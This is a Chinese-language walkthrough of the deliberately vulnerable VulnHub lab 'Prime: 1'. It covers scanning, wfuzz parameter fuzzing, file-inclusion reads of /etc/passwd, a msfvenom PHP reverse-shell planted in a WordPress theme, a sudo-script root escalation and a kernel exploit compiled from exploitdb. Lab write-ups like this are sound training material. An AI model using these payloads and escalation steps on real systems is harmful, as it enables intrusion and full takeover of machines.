vulnhub prime1通关

目录

环境安装

1.信息收集

收集IP

端口扫描

目录扫描

 目录文件扫描

查找参数

打Boss

远程文件读取

木马文件写入

权限提升

方法一

解锁密钥

方法二:

linux内核漏洞提权

总结

环境安装

Kali2021.4及其prime靶机

靶机安装:Prime: 1 ~ VulnHub

 解压后点击下面选中文件,选择虚拟机打开即可,

 然后修改一下设置,采用NAT模式就行,nat可以通过主机与外部网络连接,且有独立ip

 打开虚拟机即可

1.信息收集

收集IP

arp-scan -l

通过http://<ip>的形式访问,确定了靶机IP为192.168.232.128

端口扫描

nmap <ip>

 开启了22端口(ssh服务)、80端口(http)。

目录扫描

dirb http://192.168.232.128 

访问/dev,发现提示,应该深度挖掘

 目录文件扫描

dirb http://192.168.232.128 -X .txt,.php,.html,.zip

 

 哦!secret.txt,快快快

提示:我们fuzz一下,然后就是github那个网址,还有查看location.txt,发现直接访问/location.txt并不行,那先放一放,看看github网站

具体如下:

COMMAND = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something

查找参数

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 http://192.168.232.128/index.php?FUZZ=location.txt

 一大堆是line=7,应该都不是我们所需要的,随便试一个也没有回显,现在我们可以添加命令--h; 7 过滤line=7

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 --hl 7 http://192.168.232.128/index.php?FUZZ=location.txt

发现file参数,此时猜测可能与文件包含有关,快快快传入file=location.txt试试,成功!

打Boss

远程文件读取

再看看/etc/passwd,看看,看来只限于读取location.txt文件

根据上述location的提示:出现下一个参数secrettier360,试试看

空空如也

不过之前还扫出个image.php吗?再在传参试试

成功,并且可以远程读文件,读个/etc/passwd试试,发现关键,现在再看看/home/saket/password.txt,读取到密码"follow_the_ippsec"。

猜测可能是ssh的密码,试试看

看来是不对了。

回看之前web目录扫描的时候,看到下列信息

访问看看,发现要登录

但是没有Username,不过我们不难看出,该网站是用wordpress搭建的,于是我们就是用专用于改模块的工具看看用户

wpscan --url http://192.168.232.128/wordpress -e

确定了用户名victor

登录看看,成功登录!

木马文件写入

一个一个看,最后发现Appearance-Theme Editor-secret.php这个文件可以更改内容,那就插入木马文件吧

kali可以使用msf来生成后木马文件(ip要改为kali的ip),其实传入一句话木马也行,然后蚁剑连接,但是后续我没有试过了

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.232.152 LPORT=7777  -o mshell.php

 启动msf

msfconsole  //启动
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.232.152
set lport 7777
run

此时就说明连接成功了

但是还要执行一个'shell'指令才能执行命令行,如下

权限提升

方法一

解锁密钥

先 whoami  查看用户

www-data,比一般的用户权限还要低。

看看我们能执行的

sudo -l

sudo -l 是一个在Unix/Linux系统(包括Kali Linux)中用于查询当前用户所拥有的sudo权限的命令。当你执行 sudo -l 时,系统会列出你作为当前用户可以执行哪些命令以及使用sudo时无需再次输入密码的命令配置。

 访问/home/saket/enc,权限不够,那我们看看别的

 

cat enc也行不通,但是由上图发现enc有执行权限,不管什么先执行看看

要输入密码,试试之前那个,如上没有任何回显,说明密码不对,但是一般而言对于密码系统都会有备份文件,试着找一下

find / -name '*backup*' 2>/dev/null  | less| sort


find /:在根目录寻找包含backup字符串的文件
2>/dev/null: /dev/null 是一个特殊的文件,它的作用是丢弃所有写入它的数据。即将错误输出重定向到 /dev/null 就相当于丢弃所有错误信息(例如权限不足),只保留正常输出
| less 把前的指令内容用less指令执行
| sort 把输出内容以以首字母排序

 找到可疑文件,查看试试

拿到可疑密码,backup_password

密码正确,权限不够,但是此时好像跟enc.txt,key.txt有关,那就看看

顺便看一下,又得知enc是一种openssl加密方式、key即为密钥

openssl解密

命令

echo '{要解密的字符串}' | openssl enc -d -a -{解密算法} -K {key值}

{key}必须为十六进制编码
md5加密
echo -n "ippsec" | md5sum
转为十六进制
echo -n "366a74cb3c959de17d61db30591c39d1" | od -An -t x1 |tr -d ' ' |tr -d '\n'

| od -An -t x1:管道 (|) 将 echo 输出的内容传递给 od(octal dump)命令。-An 参数表示不打印地址,-t x1 表示以十六进制形式输出每个字节。
| tr -d ' ':tr(translate)命令用于删除指定字符,这里的 -d ' ' 表示删除所有空格。
| tr -d '\n':再次使用 tr 命令删除所有的换行符(\n)。

然后把openssl的解密方法下载至CryptType文中

红线以下的内容全部保存在CryptType文件中

然后使用批解密的方式,进行解密

 for i in $(cat CryptType);do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null; echo $i;done

 aes-256-cbc解密成功

 根据提示,有可能是ssh的端口的密码。

ssh saket@<ip>

成功连接,现在至升到了一般用户,接下来提权到root

继续看看可执行的命令,sudo -l

提示,到/home/victor/undefeated_victor,所以sudo /home/victor/undefeated_victor

然后我们可以执行一个python命令来优化命令执行

python -c 'import pty;pty.spawn("/bin/bash")'

 

使得$变为了saket@ubuntu,方便我们更好查看所属目录

再根据上上图片的提示,发现没有找到/tmp/challenge,应该是要我们自己创建

几乎要先cd /tmp 到该目录下

写入内容

#!/bin/bash
/bin/bash

在上述命令中,sudo 会让用户临时以root权限执行 /bin/bash,前提是你有足够的权限(即已授权sudo且知道sudo密码)。

 成功写入,但后附与该文件执行权限

chmod +x challenge

再次执行

sudo /home/victor/undefeated_victor

即可拿到root命令行

读取flag即可

下面展示未使用优化命令行,由于已经生成了challenge文件,就不比在演示了

方法二:

linux内核漏洞提权

此时还是在msf中的

查看内核版本

hostnamectl
或者
uname -a

再创建一个msf的窗口,查找内核漏洞

找到后,使用下述命令把它copy到家目录(~)下

cp /usr/share/exploitdb/exploits/linux/local/45010.c ~

用gcc编译它,并保存为yf文件(随便取)

gcc 45010.c -o yf

然后使用msf的upload指令把该文件放在靶机中

upload ~/yf /tmp/45010

然后shell,使用终端查看后,对该45010文件赋予(x)执行权限。最后 ./45010 执行该文件即可

 此处没有成功的原因是kali的版本过高了,没有成功。

一般执行之后应该是下图

然后就是到root目录下拿取root.txt就可以了。

总结

大致熟悉了渗透的过程,了解了msf的使用,以及Linux内核提权,解密钥等的方法。

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-23 17:54:06       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-23 17:54:06       106 阅读
  3. 在Django里面运行非项目文件

    2024-03-23 17:54:06       87 阅读
  4. Python语言-面向对象

    2024-03-23 17:54:06       96 阅读

热门阅读

  1. 在Linux 中,如何配置网桥?如何配置虚拟网络

    2024-03-23 17:54:06       39 阅读
  2. Elasticsearch7.10.2安装在EC2上面

    2024-03-23 17:54:06       39 阅读
  3. 20个perl常用的实用脚本

    2024-03-23 17:54:06       47 阅读
  4. atomic_read实现

    2024-03-23 17:54:06       40 阅读
  5. Pytorch:torch.nn.functional.pad()

    2024-03-23 17:54:06       39 阅读
  6. 持续集成平台 02 jenkins plugin 插件

    2024-03-23 17:54:06       41 阅读
  7. 数学分析复习:指数函数的构造

    2024-03-23 17:54:06       38 阅读
  8. DataFrame:postgresql数据下载及上传

    2024-03-23 17:54:06       44 阅读
  9. 【PHP】通过PHP实时监控Apache、MySQL服务运行状态

    2024-03-23 17:54:06       38 阅读
  10. uniapp APP 上传文件

    2024-03-23 17:54:06       37 阅读
  11. Android设计模式

    2024-03-23 17:54:06       44 阅读
  12. 【函数式编程】柯里化和偏函数

    2024-03-23 17:54:06       40 阅读
  13. 腾讯面试准备-2024.3.21

    2024-03-23 17:54:06       32 阅读
  14. Vanilla Transformer

    2024-03-23 17:54:06       30 阅读
  15. 【Docker】在 Ubuntu 上安装 Docker 的步骤

    2024-03-23 17:54:06       38 阅读